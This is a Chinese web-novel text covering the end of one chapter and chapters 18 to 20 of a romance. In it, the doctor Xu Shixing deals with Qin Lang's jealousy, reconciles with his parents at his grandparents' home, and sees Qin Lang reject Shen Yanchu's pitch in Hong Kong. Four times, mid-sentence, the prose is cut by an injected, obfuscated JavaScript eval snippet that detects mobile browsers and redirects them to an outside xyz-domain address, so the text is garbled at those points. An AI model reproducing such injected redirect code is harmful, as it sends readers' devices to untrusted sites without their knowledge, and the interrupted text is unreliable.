曹开宇暗暗观察,地下车库初次见面没觉得,这狂妄男人竟有这么高,足足比自己高半个头,顿时觉得他的气场也迫人起来。 徐时行率先打破沉默,但话却是对秦朗说的:“怎么进来了?” 秦朗视线若有似无地扫过曹开宇,最终落在徐时行脸上,“见你半天没出来,进来看看。” “碰到病人聊两句,已经说好了,走吧。” 两人走出院区,上了车。 自从上周把车钥匙给秦朗,他们像是有默契般,一个不主动还,一个不主动要,就这么每日接送,都快习以为常了。 只是今日下班目的地并非公寓,而是外公外婆家。徐时行边系安全带边说,“打车也挺方便。” 市中心交通便利,秦朗当然知道,“开车更不麻烦,更何况这是你的车,白天借我用,我多出点力应该的。你什么时候才能不跟我这么客气?” 他说得冠冕堂皇,内心动机远非表面那么单纯。那晚自己说了那句话后,徐时行一直挺不自在,早上经常特意早出了门,能不让他送就尽量避免他送。午休时间一直不接电话,回微信就说在忙。终于熬到周末,下午时问他回不回来吃饭,又说晚上去外公外婆家住。能明显感觉出他在躲。 徐时行不自然地解锁手机,胡乱划着,注意力却根本不在屏幕上,心比手还乱。他不确定秦朗那句话是不是气氛到了一时兴起,甚至不确定自己的真实想法,毕竟这段不健康关系是建立在很多不合常理和可疑之上。 他顿了顿说:“我对谁都挺客气。” 这话过于耳熟,秦朗启动车,神色平静地激他,“我看你对朋友就挺不客气的。” 不仅不客气,还动手动脚。那种微妙的肢体语言,就像每一个动作都在说我们的关系非比寻常。 “你说砚初啊。”徐时行语气和表情一起缓和下来,变得轻松自然,“我们大学同寝室,工作后也一起住了段时间,当然不一样。” 秦朗最近其实情绪还行,心里清楚谁没点过去经历,他什么场面没见过,不至于连朋友关系都接受不了,那也太低级太小家子气了。可这会儿听徐时行这么说,表情肉眼可见变得阴沉,淡定与从容如昙花一现。 扶着方向盘的手不由自主握紧,秦朗面色不虞道:“你谈过几次恋爱?” 徐时行终于被牵动视线,警觉地看向秦朗,“为什么问这个?” “问问清楚。好有个心理准备。” “……”徐时行觉得自己顿时被架了起来,这种情况说恋爱经历为零未免太丢脸。他转开脸,眼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14988924|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭心一横,“五六个吧,记不太清了。” 类似条件反射般,秦朗松开电门。 徐时行跟着惯性直直向前冲,差点磕到挡风玻璃上,所幸安全带及时锁死将他拉了回来,“这么激动干什么?五……五六个很多吗?”语气越说越虚,硬着头皮装罢了,于是试图转移焦点,“你们金融圈不是普遍接受度很高,至于么。” “谁给你灌输的这些刻板印象?送你回来那位朋友?”秦朗调整车速,同时联想到那一大盒成人玩具,“衣帽间里的那些东西也是他买得?” 徐时行彻底哑了火,一时说不出话。 车内气氛凝滞,沉默比言语更有杀伤力。 秦朗此刻内心十分复杂,嫉妒和爱意同时折磨着他。当过往经历被具象化成五六个前任,以及那一盒极其私密的东西有了相呼应的人,他才知道自己根本没办法理智对待。 徐时行见秦朗也不说话,想缓解尴尬,半开玩笑似地问:“你不会吃醋了吧?” 谁知,秦朗大方承认:“是,我是吃醋了。” 问出的问题成了回旋镖,狠狠扎了回来。徐时行没料到他会不按常理出牌,半响才生硬说:“少来,你自己信么。” “为什么不信,我说真的。” 徐时行不想争论,再次熟练地偷梁换柱,“别光拷问我啊,有本事你也说说自己。” 红灯了,秦朗在白线前缓停下来,目光如炬地看着他问:“说我什么?” “谈过几次恋爱?” “如果现在算的话那就是一次。” 没谈过恋爱?骗谁呢?不论谈吐手段,甚至床技都是情场老手的样子。唯一合理的解释是,不承认在谈恋爱就永远没谈过恋爱。 徐时行更加确信了,秦朗巧舌如簧的本领不在沈砚初之下,冷淡地纠正他,“当然不算。” 十字路口的交通指示灯由红转绿,秦朗不得不转回脸目视前方。 他自嘲般笑了下,突然没头没尾地说:“刚工作时,同事自带人脉资源,我没嫉妒过;读小学时下雨天同学都有家长接,就我没有,我没嫉妒过;更小的时候生病住院,别的小朋友父母长辈围了病床一圈,我一个人蒙着被子睡觉,也没嫉妒过。” 徐时行刚支棱起来的冷心冷面,顿时如纸老虎不堪一击,眸光也迅速柔和下来,一时不知该如何接话,如何安慰他。 秦朗匆匆回望了一眼副驾座上的徐时行,认真而又克制地说:“但现在一想到你的不客气和肆无忌惮都属于过别人,我就嫉妒得发疯。” 车内复又陷入沉寂。 徐时行愣住,心脏像被一张细密结实的网罩住,越收越紧,甚至快要喘不过气。 目的地到了,秦朗靠边停下车,咔嗒一声开了门锁,“去吧,什么时候回来跟我说一声,来接你。” 徐时行慢吞吞解安全带,话在嘴边滚了又滚,终于出声,“我没有谈过五六次恋爱,都是骗你的。” 18. 第 18 章 外公外婆住老城区家属搂,带一方露天小院。早些年水利局分了一楼,后来买下二楼打通重新装修过。 小区四周僻静,配套设施却很齐备,生活便利。附近邻居大部分是机关单位退休的老干部。老两口身体康健,坚持不跟小辈们同住,请了白班家政阿姨帮忙打理家务。 外婆曼丽女士难得亲自下厨,为了今晚这顿饭,午觉睡醒一直张罗到快六点,眼看天都黑了,宝贝外孙迟迟没来,穿着围裙等在院门外。 徐时行怀揣着一颗七上八下的心,未走近便听到外婆隔着老远叫他:“哦呦,我们仔仔今天被领导批评啦?怎么垂头丧气的。” “外婆——”徐时行敛起乱糟糟的心绪,笑着快步上前,“怎么出来等,也不穿件外套,今天风大。” 外婆可爱地皱了皱眉,“在厨房忙活一下午,刚好出来透透气。” 徐时行半搂住外婆,边往院子里走边说:“都做了什么好吃的?饿了。” 曼丽女士开始报菜名:“葱油大白鲳,避风塘江蟹,敲鱼敲虾汤,耗油菜心,主食炒年糕,都备好了。”说着轻轻拍了一下徐时行的手背,看似批评实则宠爱有加,“这些菜只能趁热吃,得掐着点下锅。你倒好,发信息不回,打电话也不接。” 祖孙二人穿过一条绿植环绕的青石板小路,来到客厅门前。 “手机静音,没注意,今天周五特别忙。”徐时行低头换鞋,心虚地打哈哈,“外公呢?” “外公在二楼书房,你上去找他吧,二十分钟……”曼丽风风火火走向厨房,半道转身改口,“十五分钟后开饭。” 徐时行上到二楼,轻手轻脚地走进书房。 宽大实木书桌上,米白宣纸摊开,外公钱仲怀正在垂首碾墨。 徐时行接过外公手中的墨条,“外公,我来。” 钱仲怀抬头见外孙来了,松开手,和蔼一笑,“气色不错。”他捏起手边紫檀木镇纸,轻柔地抚平宣纸,不疾不缓道:“昨天傍晚小区里散步,碰到5号楼的王爷爷,他说在手机上看到你了。” “是吗?不会认错人了吧。”徐时行往云纹端砚里添了两滴水,继续拿着墨条细细打圈,“我没有开通任何媒体平台的账号。” 钱仲怀执笔蘸墨的手停住,半开玩笑地说:“王爷爷老眼昏花认错人倒也说得过去,我还能认错不成?” 徐时行顺着话哄,“那绝对不可能。看到我什么了?是那条医院的宣传视频吗?” 钱仲怀嗯一声,“我看评论区热闹得很,现在年轻人都热情外放,跟我们那时候不一样咯。”他在砚台边缘一下下捋掉笔尖多余的墨汁,“王爷爷还说要把孙女介绍给你……” 徐时行正要出声打断,钱仲怀眼神示意他别急,继而悠悠道:“被我一口回绝了,他孙女跟你不合适。” 徐时行把墨条搭在笔架上,继续拍马屁,拉拢同盟军,“我就知道外公跟我爸妈他们不一样。这么多年,您从来不催婚,也不热衷张罗我相亲。” 谁知他这点小心思被外公一眼识破,哼笑出声,“少拍马屁。” 墨汁在宣纸上晕开虬劲有力的一笔,钱仲怀一语双关地说:“我跟他们不一样,那是因为我知道他们介绍的都跟你不合适。” “你从小跟在我身边,比和父母相处的时间还多,家里没有人比我更了解你。连你的名字都是我取的。” 话音落,笔停住,一句话八个字铺开在宣纸上—— 【时行则行,时止则止】 钱仲怀举笔满意地看着这八个字,继而目光转向外孙,语重心长道:“时行一词后面还有个‘止’字。整句话连起来,是见机行事,该向前的时候向前,该停止就得停下的意思。你是个聪明孩子,应该懂得何时向前,何时该放手。放下执念解开心结这一关,只能你自己过。家里每个人都盼着你好,希望你幸福,永远是毋庸置疑的。” 书房门正对着旋梯,有脚步声由远及近,是家政张阿姨上来通知他们可以开饭了。 钱仲怀拍了拍徐时行后背,“先下去吃饭吧。” 曼丽在餐桌边解围裙,正好看到祖孙二人一脸严肃地走下步梯,不问青红皂白先瞪了一眼钱仲怀,“外公是不是又训我们仔仔啦,在家里不要动不动把小辈当下属训话。退休一二十年了,怎么还改不掉老毛病?” 徐时行连忙出来打圆场,接走外婆手里的围裙递给张阿姨,“没有,外公没有训我。怎么我看起来表情很差劲吗,大概是太饿了。” 曼丽这才消了气,张罗着布筷盛汤。 张阿姨周末休息,今日本就下班晚了,便没留她。 席间手机震动,跳出条信息提醒,徐时行在剥蟹壳,一手油渍,没管。 等到十几分钟后拆吃完一只蟹,擦干净手,划开解锁键,图片争先恐后地弹出来,都来自秦朗。 第一张,阳台上晾晒成排的衣服,挂得整整齐齐,是他早上丢进洗衣机忘记晒的那批。 第二张,冰箱里添了新鲜果蔬,还有一排补满的矿泉水,是他常喝的牌子。 第三张,客厅原本坏掉的加湿器,亮着运行指示灯,是他昨晚随口的一句抱怨,说开了地暖空气太干。 …… 没有一个字符,却张张照片都在说情话。 徐时行心头泛过一阵暖意,飞快地打字:【这么勤快,吃过晚饭了么?】 秦朗秒回:【正在吃,你呢?】 徐时行举起手机对着桌面拍了一张发过去,即便用餐过半,仍能看出是用了心准备的,丰盛的一餐。 秦朗也发了张晚饭照片过来,惨兮兮的一碗泡面。 徐时行好心提醒他:【不会是储藏室翻出来的吧,小心过期了。】 秦朗:【过期十天,还行,没有怪味道。如果明天早上我没有主动联系你,抽空帮我叫下救护车,重酬。】 徐时行乐不可支:【怎么个重酬法啊?我不介意提前帮你杜绝食物中毒,给你叫个外卖。】 秦朗:【不用,没过期,骗你的。】 曼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14988925|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽见徐时行一直埋头捣鼓手机,忍不住好奇问:“仔仔,跟谁聊天呢,笑得这么高兴?” 徐时行下意识反应是我笑了吗,继而收敛起表情,想回在跟砚初发,但又觉得不可信,沈砚初那能坐着就不站着的德行外公外婆门清,于是含糊地说:“朋友。” 曼丽兴致更高了,眸光闪闪而动,“女朋友?” “外婆,是男的。”徐时行锁了屏幕,帮曼丽夹了一筷子菜心,“多吃蔬菜补充维生素。” 曼丽挑着菜心,嘟嘟囔囔:“跟男生有什么好聊,你应该多跟女孩子聊聊天呀,没准聊多了就……” 整顿饭存在感很低的钱仲怀大声咳嗽了下,打断她,“又扯远了。” 曼丽想起什么似得一叠声:“对对对,今天不说这些。” 饭后祖孙三人分工,把餐具收进洗碗机,擦干净餐桌。徐时行急忙拿出手机,躲到客厅去查收信息。 秦朗问:【后天下午回来吗?】 徐时行本来是这么打算的,在这边过完周末再回去,眼下有些举棋不定,故意逗他:【不回来。】 【那住多久?】 光标进进退退,徐时行删掉一礼拜三个字,重新输入:【怎么也得个把月吧,前段时间工作太忙,很久没回来陪二老了。】 【可你没带换洗衣服】 徐时行:……。他忽略了对方是个不亚于沈砚初的人精,于是继续胡说八道:【这里也是我家,家里当然有备用的换洗衣服。】 其实工作后就很少回来长住了,这边只有睡衣,常服都是十好几年前读书时候的。 手机静了半响,秦朗终于回复:【那我怎么办?】 徐时行脸上的表情精彩极了,【给你买两箱方便面,一箱红烧牛肉味,一箱鲜虾鱼饼味。】 曼丽煮来一壶山楂陈皮茶消食,在矮几上摆了五支小巧精致的水晶杯,挨个满上茶,“仔仔,又跟谁聊天呢?” “同事,男的。”徐时行放下手机,“外婆,我晚上不住这啊,晚点就回去。” 曼丽心下一惊,慌乱与失落溢于言表,“怎么啦?医院有急事?” “不是。”徐时行端走一杯茶,见还剩四杯,打趣道:“怎么多了两杯,是不是老花镜度数不够,看不清数错啦。” 外婆压低下巴,抿了下唇,眼神越过下滑的老花镜观察着徐时行,“没数错,有客人。” “什么客人这个点来?我认识吗?”徐时行喝了口茶问。 “你当然认识。”曼丽眨了眨眼,卖起关子,“从小就认识,所以你今晚不能走。” “到底是谁,这么神神秘秘。”徐时行实在想不出。 院子里一阵窸窸窣窣,客厅门被人推开,徐时行寻着声音转过头,看到爸妈走进来。 自从那晚吵过架挨过打,再没见过面。他松散的坐姿瞬间挺直,局促地站起来叫人:“爸,妈。” 曼丽抢声:“仔仔你坐下,今天他们是来道歉的。有什么委屈,外公外婆给你做主。” 19. 第 19 章 夜风顺着敞开的门吹进客厅,吹得落地窗前的白纱不住摇曳,也带起茶几上几页字帖悠悠飘落。 钱慧走过去捡起来,拢整齐放回几面,又朝儿子压了压手示意他坐,“外婆为了替你出气,不让我跟你爸来吃晚饭,却故意汇报每一道菜,发了好多照片来馋我们。” 徐时行坐回沙发上,嘴角噙着笑意,这确实像曼丽女士一贯的行事风格,转向外婆求证。曼丽故作生气,脸上皱出和蔼细纹,“活该。若放在过去,我肯定要狠狠罚他们两顿没饭吃。” 脸上的笑意不断扩大,徐时行忍不住拉长音拆台:“哎呀,我好像在厨房蒸笼里看到一碟蟹脚,难怪今天吃得蟹都是独臂侠,还每只都缺右侧,太明显了。” 钱慧从小爱吃蟹脚,是刻在曼丽DNA里的母爱印记,即便有了宠爱的外孙,本质还是出自对女儿的爱。 曼丽见露馅不装了,破罐子破摔道:“看来下次还是要随机拆才行。” 这么一闹,尴尬紧张的气氛顿时缓解了许多。一家人围着茶几在沙发上坐了一圈。 钱慧眼看着铺垫地得差不多了,用膝盖碰了碰身旁老公的腿,意思是你忏悔时间到了赶紧的吧。 徐伟彦清了清嗓子,看着儿子,神色颇为不自然,酝酿许久,终于开了口:“时行,那天打了你,是爸爸不对,今天当着全家人的面正式向你道歉。” 曼丽完全不知还有这一出,茶杯差点没拿稳,撒出去好些,“怎么还动手了。你们……”她激动地话都说不顺畅,“……你们为什么没跟我说实话!我只当……只当争吵了几句,顶多说些伤和气的话,怎么可以打仔仔呀……” 曼丽难受地手足无措,急切挪向徐时行,牵起他的手检查,“快让外婆看看,打哪里了。” “没受伤,没您想得那么严重。”徐时行反手握住外婆干燥温热的手掌,柔声安抚,“我也有错,是我先口不择言激怒了我爸。” 曼丽执着地说:“再怎么激怒也不至于动手。你长这么大,即使最叛逆的时候,我跟你外公都没说过一句重话。” “好了。”端坐于单人沙发上的钱仲怀终于出声,语调沉稳,“家不是争论对错的地方。这次是伟彦处理不当,他作为长辈也道歉了,你就少说两句吧。” 钱慧连忙附和,“是啊妈,伟彦知道错了,当晚一宿没睡,翻来覆去唉声叹气的,他后悔着呢,好几天吃不下饭。” 徐伟彦扯了老婆一下,“说这些干什么。” 钱慧拿眼刀横他:“替你负荆请罪,收拾烂摊子。” “爸爸的道歉我接受。”徐时行垂眸平静地说,“这件事就这么翻篇吧。” “不能就这么翻篇。”曼丽嗖地抽走手,从沙发上站起身,“等着。” 众人面面相觑,谁也不知道老太太要干什么。 等了估摸有十分钟,曼丽终于去而复返,带着一纸保证书和一盒鲜红的印泥。她一辈子谦逊有礼,对谁都客客气气,唯一的强势都是为了女儿和外孙。 曼丽把保证书和印泥往茶几上一搁,对女婿铁面无私地说:“签字画押,保证再没下次了。” 徐伟彦在公立三甲医院当了半辈子领导,退休返聘民营医院好歹也是个二把手,从未像今天这般低声下气过,更别说在保证书上签字画押了。 他忍辱负重般看向一家之主老丈人,用眼神无声地求助——爸,你倒是说句话啊。 谁知一家之主比他会审时度势,清楚这种关键时刻强出头只能引火上身。钱仲怀默默移开视线,端起茶杯打掩护,用实际行动回应爱婿——说不了一点儿,你自求多福吧。 曼丽仿佛一眼看穿二人的把戏,“再大的领导回到家里也只是家庭一分子,再说你们可都退休了。” 钱慧眼疾手快,拉起老公的手,利落蘸印泥按下指纹,“齐活。” 家庭批斗大会成功落下帷幕,曼丽开心了,钱慧放心了。母女二人手挽手去厨房切了果盘出来话家常。 钱仲怀这时候想起来捞女婿了,“伟彦陪我去书房下两盘棋。” 徐伟彦对老丈人敢怒不敢言,只得应承下来:“好的,爸。” 男士们退场,客厅里只剩下妇‘孺’,气氛就更加轻松欢快。 钱慧剥起蟹脚,心里那点八卦好奇再也压不住了,旁敲侧击地打听:“儿子,最近怎么样啊?” 徐时行窝在沙发里,心思又回到手机上,满心欢喜地点进微信界面,结果聊天对话框还停留在那条方便面,秦朗没有再回复。 他一时心烦意乱,随口回答:“挺好的,五年一任期,过了元旦,我的年假又该多一周了。” 弘诚医疗有自己一套独特的薪酬体系,所有职工薪资不与接诊量、手术量、病房占有率,以及医院年收入利润挂钩。薪资和年假天数根据职位,随着在职时间逐年增加,五年封顶。 但钱慧显然不是问这个,“不是说工作,说你,你个人。” 这么说徐时行就懂了,泄愤般把手机丢到一边:“什么个人啊,妈你到底想问什么。” “妈妈绝不是催你的意思哦。”钱慧放下拆至一半的蟹脚,抽出张纸巾在唇边按了按,又慢条斯理擦干净手,“妈妈的意思是,如果有什么合适的对象,可以让早点我们知道。我们都是很开明的家长,没那么多框架条件,只要你喜欢就好。” 她就差说只要是个人就行。当然,这时候的既定思维没考虑到,还有性别男这个可能。 这句话徐时行没听懂,曼丽懂了,满脸欣喜地问:“我们仔仔已经有对象了呀?” “没有,外婆。你别被我妈带偏了。”徐时行说着又捡回手机。 钱慧心里一咯噔,首先检讨起自己的失职,是否在儿子青春期没灌输好作为男人该有的担当,人都带回家睡在一起了,还不给人家名分,实在不应该。于是她婉转地规劝儿子:“妈妈知道你们年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14988926|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人跟我们老一辈思想不太一样,但无论什么年代,男人就得负责。” “妈,你到底想说什么。”徐时行心不在焉地打了一行字,删掉,重新打一行,再删掉,最终锁了屏,手机倒扣在茶几上。 “我怎么不负责任了?”他看着老妈,因为没收到新信息而神色略带焦躁,怎么看都不是高兴的样子。 曼丽越听越糊涂,也转过身看向女儿:“究竟怎么回事,我们仔仔怎么可能是负心汉。” 钱慧前车之鉴,怕刚跟儿子和好再生事端,霎时偃旗息鼓,重新拆起蟹脚,顾左右而言他:“我就随口这么一说,万一有合适的女孩子,必须要给人家名分,大大方方地带回家里来介绍,不好辜负人家的。” 徐时行终于听出话外音,在心里琢磨缘由,想来想去唯一线索的就只有那双粉色蝴蝶结拖鞋。他迅速捋了下几种可能以及应对方案,正襟危坐,“妈,你是不是误会了什么?” 钱慧心虚地转开脸,“没有啊,我误会什么。” “你上上周给我家买了双粉丝女士拖鞋。” 钱慧一惊,忘了这漏洞,心里暗暗拍大腿,不敢吱声了。 “钱慧女士,坦白从宽,抗拒从严!”徐时行乘胜追击,一把搭住妈妈的肩膀,故意诈她,“你再不招以后不准去我家了啊。我把密码改了去。” 结果还真被他诈到点子上了。 钱慧招架不住,干脆一股脑坦白了:“就是之前去你家送东西,没跟你说,直接进去了,然后……” 曼丽着急地催:“然后怎么了?你倒是一口气说完呀,怎么还带大喘气的。” 钱慧吐出蟹壳,“然后看到床上有人在睡觉,卧室门口脱着我买的那双拖鞋。但那时候你明明说自己在医院上班。” 徐时行心道果然如此,说辞早已编好,继而淡定地说:“不好意思,让您失望了。不是什么如花似玉的小姑娘,是男的。我留学校友的朋友,刚回国还没落脚地,借住一段时间。” 曼丽忍不住吐槽:“呦,脚够小的,女士拖鞋都能穿下。” 母子俩无语地同时开口—— “妈。” “外婆。” 异口同声:“这是重点吗!” 闹剧彻底收场,徐时行陪着又扯了几句闲谈。客厅老式挂钟八点报时,就再也坐不住了,抄起手机站起来,“那我回家了啊,你们母女再聊会儿。” 曼丽跟着站起身,“真不住这啊,卧室都给你收拾好了,新晒的被子,新铺的床,还仔细薰了香薰。那我不白忙活了。” 徐时行摇摇头,“下次吧,今晚必须回去。” 曼丽追问:“为什么啊?那校友朋友一个人住害怕?” 徐时行眉开眼笑地说:“不害怕,是我着急回去给他买泡面。” 曼丽大为不解,“泡面有什么好吃的,看国外食堂给孩子饿的。下回带他来外婆家吃,刚好家里客房空着。” 20. 第 20 章 网约车驶过街角,速度很慢,车灯仅照出前方几米距离。刚过九点,路上便没什么行人。 起雾了,海市入冬以来第一股冷锋过境,气温骤降。繁华城市被纯白雾霭拢住,眼前世界变得影影绰绰,所有一切都看不真切。 徐时行在小区门口下车,很快消失于迷雾与夜色中。 电梯上行,停在19层,手机依旧安静,唯有心跳砰砰。 他用指纹按开门锁,‘滴’一声,电子女音机械播报:“门已开启,欢迎回家。” 玄关柔光氛围灯带应声而亮。 可除此之外,室内漆黑一片,属于秦朗的那双拖鞋摆在墙边。心情宛如今日气温,被冷空气兜头浇下,跌到底。 徐时行站在原地怔愣住,突然横生出一种历史重演的熟悉感。 贴身口袋里的手机震颤了下,将他拉回现实。 从外公外婆家出来后发出的那条[到底要什么口味的方便面啊?]终于收到回复—— 【罗勒柑橘味】 是家里那款沐浴露的味道。他在机场免税店顺手买的,看着包装清清爽爽,谁知香气甜腻过了头。每次洗澡他都会下意识多按两泵,试图早点用完,以至于浴后全身被罗勒柑橘腌入味,连带着鹅绒被和吻也甜腻起来…… 感应氛围灯灭了。徐时行在一片漆黑中红了脸,嘴上却口是心非地骂:“狗屁,就会嘴皮子功夫。” 他踢踏着拖鞋进客厅,按开顶灯,加湿器开着,正敬业地喷出水气,微微发出运行杂音。 徐时行心烦意乱地走过去,一把扯掉电源插头,绿色指示灯熄灭,公寓里彻底安静下来。 他故意将手机留在客厅沙发上,转身去储藏室翻出瓶新沐浴露,点香薰,放水,泡澡。然而传说中助眠的鼠尾草香气,并未令他好睡一点,熬到夜半才迷迷糊糊睡着。 翌日清晨,徐时行是被渴醒的,半梦半醒间刷完牙去厨房拿水喝。 他拧开一瓶矿泉水,回到客厅找手机。微信右上角的红色数字如期而至。 最新的一条发于半小时前:【早,昨晚睡得好吗?】 再往上翻: 【晚安,大橙子】 【睡了吗?】 徐时行半个身子陷入真皮沙发,放下矿泉水赌气般打字:【好的不得了,早早就睡了。】 信息发出去的下一秒,视频电话直接弹了出来。徐时行手忙脚乱地挂掉,文字输入:【正在吃早餐,不方便。】 秦朗:【都有些什么?】 徐时行边起身往厨房走,边举起手机抵在唇下,语音回复:“外婆亲手包的水煎包,燕皮馄饨,酒酿圆子羹,还有……炸响铃和豆浆。” 他搜肠刮肚把外婆拿手小吃都报了一遍,其实现实里单手拆开土司包装袋,取出一片咬了口,合着想象中的味道干巴巴咽下。 秦朗分享了一张自己的早餐图,跟着四个字:【对比惨烈】。 徐时行:……。 照片看起来像是酒店的自助早餐,简洁白瓷盘下垫着编制餐垫。徐时行指腹点击放大画面,左下角露出一点环境线索,分明是烟雨迷蒙的维多利亚港清晨,与海市共享了同一场冷空气。 徐时行问:【你去香港了?】 【嗯,昨晚七点的航班。】 准确来说秦朗是回香港了,那里才是他的常住地。他留在海市近一个月,工作方面倒相对好安排些,有电脑有网络就行,无奈秦家不好应付,若想继续维持无害人设,只得时不时演一场。他在丽晶有长期包房,偶尔也在酒店公共会客室处理公务。 * 会客室不大,格局紧凑,比起正儿八经的办公室,这里显得随意轻松许多。六人位长方形会议桌上,摆着烟灰缸和花艺装饰。 沈砚初不是第一次在这种非正式场合谈项目,只是这次他才等了十几分钟,便有些坐立难安。到底心虚,加班半个多月做出来的融资计划书数据有瑕疵。 沈砚初松了松领带,划开手机分散注意力,下意识打开微信朋友圈,一刷就刷出来一条沈遇的。 图片是个啃了一口的面包,文案:再吃5天饲料就能吃上人饭了。 沈遇念寄宿中学,分大小周,每两周才能离校一次,下周末刚好轮到大周,放假两天半。 沈砚初含着笑留评:周五让徐医生接你去吃大餐。 完了点开徐时行的微信,再次提醒他:【周五下午两点别忘了接小遇。晚上你们去吃牛排吧,他嘴挑,要雪花和牛,A5那种。】 正啃干土司的某医生豪爽地回了个‘OK’。 门口处传来声响,沈砚初连忙锁了手机屏幕起身,嘴角弯起的笑意在看清来人下一秒僵在脸上。 秦朗在随行项目经理、助理和合伙人的簇拥下,一行人大步走进会客室。 相比较于沈砚初的狼狈表情,秦朗则是一脸云淡风轻,甚至让前者有种他是不是没认出我的错觉。 秦朗在会议桌单人主位坐下的一瞬,解开西装纽扣。训练有素的助理立刻给同行几人分发打印好的企划书,继而在秦朗斜后方半个身位落座,电脑架在腿上跟进会议纪要。 沈砚初在秦朗的如炬目光下深深吸了一口气缓缓吐出,如此重复三次,整理好情绪,迫使自己进入工作状态。他点开投影屏幕上的PPT,内容早已烂熟于心,扬长避短,尽可能地放大优势、突出亮点。 全程十五分钟,沈砚初时不时用余光观察秦朗,见他面色无异才敢继续推进下一页内容。 乙方介绍讲解结束,轮到甲方提问环节了。秦朗跟几个同行工作人员低声交换了几句意见,而后拿起笔在企划书上写写画画。 沈砚初自升职带团队做项目来,从未有过此刻这般焦灼不安的体验,就像等待宣判的犯错者。 又过了无比漫长难挨的几分钟,秦朗终于放下笔,面无表情地问:“这个方案你们团队有多少人参与?做了多久?” 沈砚初看不透他的真正用意,不断在心里琢磨这句话,最终选择实话实说:“核心成员五人,助理秘书两名,是我们整个团队连续加班十三天赶出来的。” 秦朗意味不明地笑了下,提笔在计划书公司署名后打了个叉,半侧过脸对斜后方的助理说:“下午约下一家。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14988927|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈砚初明白这是自己的方案被毙了,整个团队半个月的辛苦和努力功亏一篑。甚至连结果都是间接让他知道的。 他冷哼一声,怒视着秦朗,“公报私仇你好低级,把人当猴耍这么好玩吗?” 秦朗旋上笔帽,从办公椅上站起来,同时扣上西装纽扣,淡淡道:“不懂你什么意思。” “你!”沈砚初往前迈了一步,被闻出火药味的助理一把拦下,“沈先生,您冷静一点。” 项目经理眼疾手快上前帮忙,沈砚初双拳难敌四脚,被他们推搡着,失控地吼了一句:“你不就是为了报复我那晚对你出言不逊吗!” 秦朗朝助理抬了抬下巴,“你们先出去。” 一屋子人鱼贯而出。 秦朗坐会原位,架起二郎腿,抬手看了眼腕表,“就十分钟。你觉得我淘汰你的方案是为了报复你?” 沈砚初没吱声,低头整理电脑文件,动作却无不昭示着愤怒和不服。 秦朗又轻笑了下,“首先,低级的人是你,公私不分的人也是你,不是我。” 这句话再次点亮沈砚初的怒气值,停下动作,鄙夷地说:“你真的好无耻。” 秦朗丝毫不跟他置气,继续轻描淡写道:“其次,如果我没记错的话……”他顿了顿,在心里回忆了下,“计划书第11页有两组表格数据。” 沈砚初倒吸一口凉气,整个人愣住,11页表格2的数据是他半个月来焦虑不安的根源。那一页在讲解过程中匆匆翻过,甚至没有超过五秒钟。 他的耳边嗡嗡铮铮,合着秦朗未说完的后半句话:“其中表格2里的数据,至少是2015年前的,你拿一组十年前的数据佐证你现在的观点,是不是太牵强敷衍了些?” 一通话有理有据,说得沈砚初哑口无言,“我……”。 秦朗再次站起来,“现在,我可以走了吗?” 沈砚初懊恼地回过神,追出去,秦朗早已不见踪影,会议室在走廊的中间位置,左右都有通道和电梯。他独自在会议室里连着抽了几支烟,彻底冷静下来,收拾好东西乘电梯来到酒店一楼前台。他打算找秦朗道个歉,其实他在拿出计划书后有做这组数据的备选方案,或许还有一丝挽回余地,无论如何他要试试。 前台接待人员在看到他提供了通行证,会议室使用预约电话,以及洽淡公司全称后,把秦朗的房间号告诉了他。 沈砚初走出电梯轿厢前,整理了着装和头发,说辞打了一路腹稿。他深吸了口气,按下套房门铃。 门打开,一句“秦总”还未说出口,沈砚初下意识倒退了半步。眼前分明是个妙龄女子,大波浪披肩,吊带睡袍松松散散,见到陌生人却一点也不惊慌,大大方方半侧过身,“找秦朗?他在洗澡。” 沈砚初眼神躲闪,找不到视线落点,一叠声:“抱歉,抱歉,走错了。” 